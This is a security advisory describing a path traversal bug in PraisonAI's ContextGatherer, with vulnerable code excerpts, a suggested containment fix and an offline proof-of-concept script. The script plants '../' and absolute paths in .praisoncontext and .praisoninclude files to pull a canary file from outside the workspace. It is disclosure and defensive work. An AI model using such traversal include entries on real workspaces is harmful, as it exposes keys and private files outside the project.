PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace
Description
# ContextGatherer include resolution permits absolute and traversal reads outside the workspace ## Summary PraisonAI's `praisonai.ui.context.ContextGatherer` treats the configured `directory` as the project workspace, but project-controlled `.praisoncontext` and `.praisoninclude` files can name absolute paths or `..` traversal paths. When context gathering runs, PraisonAI opens those outside paths and appends their contents to the generated context bundle. An attacker who can supply or modify a workspace repository can therefore cause process-readable files outside the intended project root to be sent to the caller or model as project context. ## Technical Details `ContextGatherer.get_include_paths()` reads include entries directly from `.praisoncontext` and `.praisoninclude` under the configured workspace. It stores each non-comment line as a raw include path: ```python include_file = os.path.join(self.directory, '.praisoncontext') if os.path.exists(include_file): with open(include_file, 'r') as f: include_paths.extend( line.strip() for line in f if line.strip() and not line.startswith('#') ) ``` When `.praisoncontext` is present, `gather_context()` passes every include entry through `os.path.join(self.directory, include_path)` and then processes the result: ```python for include_path in self.include_paths: full_path = os.path.join(self.directory, include_path) process_path(full_path) ``` The `.praisoninclude` path has the same unsafe join after first processing the workspace: ```python process_path(self.directory) for include_path in self.include_paths: full_path = os.path.join(self.directory, include_path) process_path(full_path) ``` There is no canonicalization or containment check before `process_path()` opens files or recursively walks directories. In Python, `os.path.join(workspace, absolute_path)` returns the absolute path and discards `workspace`; `os.path.join(workspace, "../outside.py")` remains outside the workspace once normalized by filesystem operations. `add_file_content()` then opens the supplied path and appends file contents to the context before display bookkeeping: ```python with open(file_path, 'r', encoding='utf-8') as f: content = f.read() context.append( f"File: {file_path}\n\n{content}\n\n{'=' * 50}\n" ) self.included_files.append( Path(file_path).relative_to(self.directory) ) ``` For parent traversal paths, `Path(file_path).relative_to(self.directory)` raises after the outside file content has already been appended, so the caller receives the outside content even if an error is logged. For absolute paths, the outside content is appended as well. This violates the workspace invariant for a context-gathering feature: repository-local include metadata should select files within the project, not arbitrary process-readable host files. ## PoV The minimal vulnerable shape is a workspace containing only a normal source file and one include file: ```text workspace/ .praisoncontext # contains: ../outside_secret.py inside.py outside_secret.py # outside the workspace ``` Running `ContextGatherer(directory="workspace").run()` returns context containing `outside_secret.py` even though that file is outside the configured workspace. The same result occurs when `.praisoncontext` contains an absolute path to the outside file, and when `.praisoninclude` contains either the parent traversal path or the absolute path. ## PoC Save the self-contained script from the Appendix below as `context_include_workspace_pov.py`, then run it against a local checkout: ```bash export PRAISONAI=/path/to/PraisonAI PYTHONPATH="$PRAISONAI/src/praisonai" python context_include_workspace_pov.py ``` Expected vulnerable output: ```json { "expectations": { "control_inside_file_is_collected": true, "control_without_include_does_not_read_outside": true, "praisoncontext_absolute_path_discloses_outside": true, "praisoncontext_parent_traversal_discloses_outside": true, "praisoninclude_absolute_path_discloses_outside": true, "praisoninclude_parent_traversal_discloses_outside": true }, "source_commit": "1620b49f36945d8cc8ee5635b906c960df5097a0", "source_file": "$PRAISONAI/src/praisonai/praisonai/ui/context.py", "vulnerable": true } ``` The version sweep sampled old and current releases. All sampled versions are vulnerable: ```text {"ref":"v2.3.10","praisonai_version":"2.3.10","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true} {"ref":"v2.3.11","praisonai_version":"2.3.11","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true} {"ref":"v3.8.1","praisonai_version":"3.8.1","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true} {"ref":"v3.9.26","praisonai_version":"3.9.26","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true} {"ref":"v4.4.12","praisonai_version":"4.4.12","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true} {"ref":"v4.5.16","praisonai_version":"4.5.16","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true} {"ref":"v4.5.128","praisonai_version":"4.5.128","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true} {"ref":"v4.6.58","praisonai_version":"4.6.58","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true} {"ref":"v4.6.62","praisonai_version":"4.6.62","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true} {"ref":"v4.6.63","praisonai_version":"4.6.63","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true} {"ref":"HEAD","praisonai_version":"4.6.63","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true} ``` No external service, live target, real credential, model provider, or network access is needed for reproduction. ## Impact If a user or service runs PraisonAI context gathering on an attacker-influenced workspace, the attacker can cause local files outside the project root to be included in the generated context. Practical impacts include disclosure of source files from adjacent projects, local configuration, prompt transcripts, logs, API keys, and other process-readable text files with extensions that `ContextGatherer` considers relevant. If the context bundle is sent to an external model or exposed to a lower-trust caller, the file contents leave the intended workspace boundary. This report claims confidentiality impact only. It does not claim arbitrary write, command execution, or availability impact. Suggested severity: Medium under the direct local/workspace threat model because user interaction is required to run context gathering on an attacker-influenced workspace. Deployments that automatically gather context for untrusted repositories and forward it to a third-party model may score higher. Suggested CVSS 3.1 vector: ```text CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N ``` Relevant CWEs: - CWE-22: Improper Limitation of a Pathname to a Restricted Directory - CWE-200: Exposure of Sensitive Information to an Unauthorized Actor ## Suggested Fix Make include-file path resolution fail closed around a single workspace-containment helper: 1. Resolve the configured workspace root once with `Path(self.directory).resolve()`. 2. For each include entry, reject absolute paths outside the workspace. 3. Join relative include entries to the workspace, resolve the result, and require `resolved.relative_to(workspace_root)` to succeed before opening or walking anything. 4. Apply the helper to both `.praisoncontext` and `.praisoninclude` processing. 5. Reject escaped directories as well as escaped files; `process_path()` can recursively walk directories. 6. Avoid appending file content before display/bookkeeping operations that can fail. 7. Add regression tests for `../outside.py`, absolute outside paths, and outside directories in both `.praisoncontext` and `.praisoninclude`. Minimal containment shape: ```python def _resolve_workspace_include(workspace: str, include_path: str) -> Path: root = Path(workspace).resolve() candidate = Path(include_path) if not candidate.is_absolute(): candidate = root / candidate resolved = candidate.resolve() try: resolved.relative_to(root) except ValueError as exc: raise PermissionError(f"Context include path is outside workspace: {include_path}") from exc return resolved ``` ## Affected Package/Versions - Package: `PraisonAI` / `praisonai` - Component: `praisonai.ui.context.ContextGatherer` - Current main tested: `1620b49f36945d8cc8ee5635b906c960df5097a0` - Current package version in the tested source tree: `4.6.63` - Latest tested release tag: `v4.6.63` - Oldest sampled vulnerable release tag: `v2.3.10` Suggested affected range, based on the sampled source sweep: ```text praisonai >= 2.3.10, <= 4.6.63 ``` The exact first affected released package version should be confirmed from release history; the sampled range shows the bug is longstanding and still present on current main. ## Advisory History No checked public advisory or local prior report matched `praisonai.ui.context.ContextGatherer` reading outside-workspace files because project-controlled `.praisoncontext` or `.praisoninclude` entries contain absolute paths or `..` traversal paths. Closest public comparators are related but distinct: - `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers `praisonai` Code `CODE_TOOLS` wrappers and unset workspace defaults for read/edit helpers. This report has an explicitly configured workspace directory and an attacker-controlled include file inside that workspace; it does not use Code tools or an unset global workspace. - `GHSA-j7qx-p75m-wp7g`: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw `artifact_path` values. This report covers `praisonai.ui.context.ContextGatherer` include-file processing. - `GHSA-22cj-m4wf-fv2c`: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where `run_id` and `agent_id` are path components. This report covers `.praisoncontext`/`.praisoninclude` entries in the classic UI context gatherer. - `GHSA-grrg-5cg9-58pf` / `CVE-2026-40117`: `read_skill_file()` arbitrary file read. This report does not use skill tools or approval-gated skill file APIs. - `GHSA-7j2f-xc8p-fjmq` / `CVE-2026-40152` and `GHSA-693f-pf34-72c5`: FileTools/listing path traversal surfaces. This report is not in `praisonaiagents.tools.file_tools` or legacy FileTools; it discloses file content through context-gathering output. - `GHSA-fwh2-95jw-g4j6`: PraisonAI MultiAgentMonitor path traversal, published on 2026-06-19, affects versions before `1.5.115`. This report affects current main and `4.6.63` and is triggered by `.praisoncontext`/`.praisoninclude` include paths rather than MultiAgentMonitor path parameters. - `GHSA-qwwv-hc99-6f5p`, `GHSA-5fr5-2c3f-3fcr`, `GHSA-gx4r-3wg8-9w5x`, and `GHSA-x44p-gg67-52fc`: current public PraisonAI advisories for MultiAgentLedger duplicate IDs, AGUI CORS/authorization, UI approval-mode command execution, and approval cache keying. None covers `ContextGatherer`, `.praisoncontext`, `.praisoninclude`, or `praisonai.ui.context`. Public search found no hits for `PraisonAI ContextGatherer .praisoncontext workspace boundary arbitrary file read`, `praisoninclude ContextGatherer`, or `praisonai.ui.context` in public GitHub advisory text. ## References - PraisonAI repository: https://github.com/MervinPraison/PraisonAI - PraisonAI security advisories: https://github.com/MervinPraison/PraisonAI/security/advisories - GitHub Advisory Database search for PraisonAI: https://github.com/advisories?query=PraisonAI - `GHSA-gcq3-mfvh-3x25`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25 - `GHSA-j7qx-p75m-wp7g`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g - `GHSA-22cj-m4wf-fv2c`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c - `GHSA-grrg-5cg9-58pf`: https://github.com/advisories/GHSA-grrg-5cg9-58pf - `GHSA-7j2f-xc8p-fjmq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq - `GHSA-fwh2-95jw-g4j6`: https://github.com/advisories/GHSA-fwh2-95jw-g4j6 - CWE-22: https://cwe.mitre.org/data/definitions/22.html - CWE-200: https://cwe.mitre.org/data/definitions/200.html ## Appendix: Self-Contained Context Include Workspace PoC ```python #!/usr/bin/env python3 """Offline PoV for PraisonAI ContextGatherer include-file workspace escape.""" from __future__ import annotations import contextlib import io import inspect import json import logging import subprocess import tempfile from pathlib import Path from praisonai.ui.context import ContextGatherer CANARY = "PRAISON_CONTEXT_CANARY=outside-workspace" logging.getLogger("praisonai.ui.context").disabled = True def imported_source_file() -> Path: return Path(inspect.getfile(ContextGatherer)).resolve() def git_head(source_file: Path) -> str: try: repo_root = next(parent for parent in source_file.parents if (parent / ".git").exists()) return subprocess.check_output( ["git", "-C", str(repo_root), "rev-parse", "HEAD"], text=True, stderr=subprocess.DEVNULL, ).strip() except Exception: return "unknown" def gather_context(workspace: Path) -> tuple[str, str]: stdout = io.StringIO() stderr = io.StringIO() with contextlib.redirect_stdout(stdout), contextlib.redirect_stderr(stderr): context, _tokens, _tree = ContextGatherer( directory=str(workspace), max_file_size=100_000, max_tokens=100_000, ).run() return context, stdout.getvalue() + stderr.getvalue() def reset_include_files(workspace: Path) -> None: for name in (".praisoncontext", ".praisoninclude"): path = workspace / name if path.exists(): path.unlink() def redact(value, temp_root: Path, source_file: Path): if isinstance(value, str): source_root = next((parent for parent in source_file.parents if (parent / ".git").exists()), source_file.parents[4]) return value.replace(str(temp_root), "$TMPDIR").replace(str(source_root), "$PRAISONAI") if isinstance(value, list): return [redact(item, temp_root, source_file) for item in value] if isinstance(value, dict): return {key: redact(item, temp_root, source_file) for key, item in value.items()} return value def main() -> None: source_file = imported_source_file() with tempfile.TemporaryDirectory(prefix="praison-context-include-pov-") as tmp: temp_root = Path(tmp) workspace = temp_root / "workspace" workspace.mkdir() inside = workspace / "inside.py" outside = temp_root / "outside_secret.py" inside.write_text("INSIDE_ONLY = True\n", encoding="utf-8") outside.write_text(f"{CANARY}\n", encoding="utf-8") contexts = {} logs = {} reset_include_files(workspace) contexts["control_no_include"], logs["control_no_include"] = gather_context(workspace) reset_include_files(workspace) (workspace / ".praisoncontext").write_text("../outside_secret.py\n", encoding="utf-8") contexts["praisoncontext_parent_traversal"], logs["praisoncontext_parent_traversal"] = gather_context(workspace) reset_include_files(workspace) (workspace / ".praisoncontext").write_text(str(outside) + "\n", encoding="utf-8") contexts["praisoncontext_absolute_path"], logs["praisoncontext_absolute_path"] = gather_context(workspace) reset_include_files(workspace) (workspace / ".praisoninclude").write_text("../outside_secret.py\n", encoding="utf-8") contexts["praisoninclude_parent_traversal"], logs["praisoninclude_parent_traversal"] = gather_context(workspace) reset_include_files(workspace) (workspace / ".praisoninclude").write_text(str(outside) + "\n", encoding="utf-8") contexts["praisoninclude_absolute_path"], logs["praisoninclude_absolute_path"] = gather_context(workspace) expectations = { "control_without_include_does_not_read_outside": CANARY not in contexts["control_no_include"], "control_inside_file_is_collected": "INSIDE_ONLY = True" in contexts["control_no_include"], "praisoncontext_parent_traversal_discloses_outside": CANARY in contexts["praisoncontext_parent_traversal"], "praisoncontext_absolute_path_discloses_outside": CANARY in contexts["praisoncontext_absolute_path"], "praisoninclude_parent_traversal_discloses_outside": CANARY in contexts["praisoninclude_parent_traversal"], "praisoninclude_absolute_path_discloses_outside": CANARY in contexts["praisoninclude_absolute_path"], } output = { "source_commit": git_head(source_file), "source_file": str(source_file), "workspace_root": str(workspace), "outside_file": str(outside), "vulnerable": all(expectations.values()), "expectations": expectations, "context_contains": { name: { "contains_inside": "INSIDE_ONLY = True" in context, "contains_outside_canary": CANARY in context, } for name, context in contexts.items() }, "captured_logs": logs, } print(json.dumps(redact(output, temp_root, source_file), indent=2, sort_keys=True)) if __name__ == "__main__": main() ```
CVSS v3.1 base metrics
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:NMedium severity
Band computed from the CVSS base score, not the source's own label — so it means the same thing across every feed.
AV
Local
Attack Vector
AC
Low
Attack Complexity
PR
None
Privileges Required
UI
Required
User Interaction
S
Unchanged
Scope
C
High
Confidentiality
I
None
Integrity
A
None
Availability
Affected
- Vendor
- PyPI
- Product
- praisonai
Versions
- pkg:pypi/praisonai < 4.6.78
Stated as the source expressed them.
References
- advisoryOSV GHSA-q7m5-3jmv-vm48https://osv.dev/vulnerability/GHSA-q7m5-3jmv-vm48
- otherOSV webhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-q7m5-3jmv-vm48
- advisoryOSV advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-61431
- otherOSV webhttps://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0
- vendorOSV packagehttps://github.com/MervinPraison/PraisonAI
- otherOSV webhttps://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-contextgatherer
Related threats
same CWE or vendorCVE-2026-84275 — IBM Guardium Data Protection 12.2 is vulnerable to path traversal in the GIM file-upload functionality.
CVE-2026-84275 · 2h ago
CVE-2026-84274 — IBM Guardium Data Protection 12.2.2 is affected by a sensitive information exposure vulnerability.
CVE-2026-84274 · 2h ago
PraisonAI: Prompt-injection defense blocks only when 3+ detector families fire simultaneously; realistic single-vector injections pass through unblocked
CVE-2026-60086 · 3h ago
PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source
CVE-2026-61433 · 3h ago
PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
CVE-2026-61435 · 3h ago
CVE-2026-107383 — MariaDB Connector/Node.js is used to connect applications developed on Node.js to MariaDB and MySQL databases.
CVE-2026-107383 · 3h ago